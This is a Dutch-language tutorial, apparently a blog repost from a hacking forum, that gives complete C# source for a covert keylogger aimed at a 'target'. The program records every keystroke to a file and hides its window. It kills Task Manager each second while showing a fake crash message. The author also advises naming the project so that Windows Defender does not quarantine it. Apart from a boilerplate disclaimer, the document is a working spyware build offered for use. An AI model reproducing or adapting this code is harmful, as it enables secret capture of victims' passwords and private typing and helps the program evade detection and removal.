July 10, 2017

c# keylogger

WAARSCHUWING!
Deze tutorial is alleen bedoeld voor educatieve doeleinden. Het is streng verboden om de tutorial en de informatie in deze tutorial te gebruiken voor andere (illegale) doeleinden. Het is uitsluitend toegestaan om de informatie uit deze tutorial te gebruiken en/of toe te passen als alle betrokken partijen/mensen hiervoor toestemming hebben gegeven. Het is streng verboden om de informatie uit deze tutorial te gebruiken op apparatuur (en andere eigendommen) van andere mensen zonder dat deze mensen hiervoor toestemming hebben gegeven.
HackFlag, de eigenaar/oprichter van HackFlag, het bestuur van HackFlag en ik zelf zijn op geen enkele voorwaarde aansprakelijk voor de eventuele schade in welke vorm dan ook die kan worden opgelopen bij het gebruik van (de informatie uit) deze tutorial. Indien blijkt dat jij deze informatie hebt misbruikt kun je geschorst worden van HackFlag.

hallo hier de tut over de c# keylogger.
keyloggers in c# zijn best simpel vind ik zelf.
noem je project aleen geen keylogger want dan stopt defender hem in de quaritine (dat had ik toen ik hem ging debuggen) Dodgy

stap1:
maak een nieuwe windowsform project.
die dus niet keylogger heet Smile

stap2:
open de toolbox en voeg een timer toe aan je form.
je krijgt nu een balk onder je form met timer1.
klik twee keer op die timer dan opent de code van de form.
bij mij ziet hij er nu zo uit:

Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace keylogger
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void timer1_Tick(object sender, EventArgs e)
        {

        }
    }
}

stap3:
voeg onder InitializeComponent(); deze code toe:

Code:
timer1.Start();

stap4:
je hebt boven in de code het rijtje met using system daar voeg je het volgende aan toe:

Code:
//staat er al:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
//nieuw:
using System.IO;
using System.Runtime.InteropServices;

stap5:
zet boven    private void timer1_Tick(object sender, EventArgs e)    de volgende code:

Code:
 [DllImport("user32.dll")]
        private static extern short GetAsyncKeyState(int vKey);
        string text = "";

dit heb je nodig om te zien wat de target typt
de code ziet er nu zo uit:

Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

using System.IO;
using System.Runtime.InteropServices;

namespace keylogger
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            timer1.Start();
        }

        [DllImport("user32.dll")]
        private static extern short GetAsyncKeyState(int vKey);
        string text = "";

        private void timer1_Tick(object sender, EventArgs e)
        {

        }
    }
}

stap6:
nu komt de code voor in de timer:

Code:
string buffer = "";
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767)
                    buffer += Enum.GetName(typeof(Keys), i);
            }
            text += buffer;
            if (text.Length > 0) 
            {
                WriteTotxt(text);
                text = "";
            }

        }
        private void WriteTotxt(string value)
        {
            StreamWriter stream = new StreamWriter("log.text", true);
            stream.WriteLine(value);
            stream.Close();
            //schrijf de letters in textbestand log.text 
        

de keys worden nu opgeslagen in log.text dat kun je ook veranderen naar keys.txt ofzo.
de keys worden nu zo opgeslagen

Spoiler :
LButton
H
O
I
Space
H
A
C
K
Space
F
L
A
G
LButton
LButton

dat kan ook anders 

Spoiler :
LButtonHOIspaceHACKSpaceFLAGLButtonLButtonLButton

ik vind dat minder handig maar oke

Code:
 if (text.Length > 0) 
//dat stukje code de nul vervang je voor 99999999

stap7:

de keylogger werkt nu al log word opgeslagen op plaats van de keylogger (in dezelfde map dus)
en hij staat nu in de debug map.
maar hij is zichtbaar dus daar gaan we wat aan doen Cool
ga naar de properties van form1.
zet form border style op none en de size op 0;0
show in taskbar: false.
opacity: 0%
naam: niks
show icon: false

stap8:

WAARSCHUWING!
Deze tutorial is alleen bedoeld voor educatieve doeleinden. Het is streng verboden om de tutorial en de informatie in deze tutorial te gebruiken voor andere (illegale) doeleinden. Het is uitsluitend toegestaan om de informatie uit deze tutorial te gebruiken en/of toe te passen als alle betrokken partijen/mensen hiervoor toestemming hebben gegeven. Het is streng verboden om de informatie uit deze tutorial te gebruiken op apparatuur (en andere eigendommen) van andere mensen zonder dat deze mensen hiervoor toestemming hebben gegeven.
HackFlag, de eigenaar/oprichter van HackFlag, het bestuur van HackFlag en ik zelf zijn op geen enkele voorwaarde aansprakelijk voor de eventuele schade in welke vorm dan ook die kan worden opgelopen bij het gebruik van (de informatie uit) deze tutorial. Indien blijkt dat jij deze informatie hebt misbruikt kun je geschorst worden van HackFlag.

leuk hij is onzichtbaar maar je target weet dat hij aan staat en opent taakbeheer.
daar gaan we wat aan doen Big Grin
maak nog een timer (zie stap 2)
open de properties van deze timer
zet interval op 1000, dat gebruikt minder cpu.
klik nu twee keer op de timer.
voeg toe aan de usings

Code:
using System.Diagnostics;

oke leuk nu ziet mijn code er zo uit

Spoiler :
Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Runtime.InteropServices;
using System.Diagnostics;

namespace keylog
{
    public partial class Form1 : Form
    {
        public Form1()
        {
           InitializeComponent();

            timer1.Start();

        }

        [DllImport("user32.dll")]
        private static extern short GetAsyncKeyState(int vKey);
        string text = "";

        private void timer1_Tick(object sender, EventArgs e)
        {
            string buffer = "";
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767)
                    buffer += Enum.GetName(typeof(Keys), i);
            }
            text += buffer;
            if (text.Length > 0)
            {
                WriteTotxt(text);
                text = "";
            }

        }
        private void WriteTotxt(string value)
        {
            StreamWriter stream = new StreamWriter("log.text", true);
            stream.WriteLine(value);
            stream.Close();
            //schrijf de letters in textbestand log.text 
        }

        private void timer2_Tick(object sender, EventArgs e)
        {

        }
    }
}

voeg nu weer toe onder     InitializeComponent();

Code:
timer2.start();

 stap9:
voeg toe aan timer2:

Code:
 foreach (var process in Process.GetProcessesByName("Taskmgr"))
            {
                process.Kill();
                //code als taakbeheer word geopend en dan word beindigd bijvoorbeeld een messagebox
 MessageBox.Show("error taakbeheer is gecrasht","error",MessageBoxButtons.OK,MessageBoxIcon.Error); 
            }

dit beëindigd taakbeheer om de seconde  Wink
en zegt dan dat taakbeheer is gecrasht.

stap10:
dacht je nu dat ik hem onstopbaar ging maken? Big Grin
nee Tongue er is een manier om hem te stoppen zonder code.
zoek het zelf uit wat het is of lees de spoiler.

Spoiler :
win+tab

ik ga hem niet onstopbaar maken doe maar zelf als je dat nodig vind  Sleepy
dit was de tut.
was hij goed en is het gelukt?
de keylogger staat in de debug map van je project.
dit was mijn eind code:

Spoiler :
Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Runtime.InteropServices;
using System.Diagnostics;

namespace keylog
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            timer1.Start();
            timer2.Start();
        }

        [DllImport("user32.dll")]
        private static extern short GetAsyncKeyState(int vKey);
        string text = "";

        private void timer1_Tick(object sender, EventArgs e)
        {
            string buffer = "";
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767)
                    buffer += Enum.GetName(typeof(Keys), i);
            }
            text += buffer;
            if (text.Length > 0)
            {
                WriteTotxt(text);
                text = "";
            }

        }
        private void WriteTotxt(string value)
        {
            StreamWriter stream = new StreamWriter("log.text", true);
            stream.WriteLine(value);
            stream.Close();
            //schrijf de letters in textbestand log.text 
        }

        private void timer2_Tick(object sender, EventArgs e)
        {
            foreach (var process in Process.GetProcessesByName("Taskmgr"))
            {
                process.Kill();
                MessageBox.Show("error taakbeheer is gecrasht", "error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
    }
}

Category : Uncategorized

Leave a Reply

Your email address will not be published. Required fields are marked *

Proudly powered by Bolkya Resha and Software Testing Theme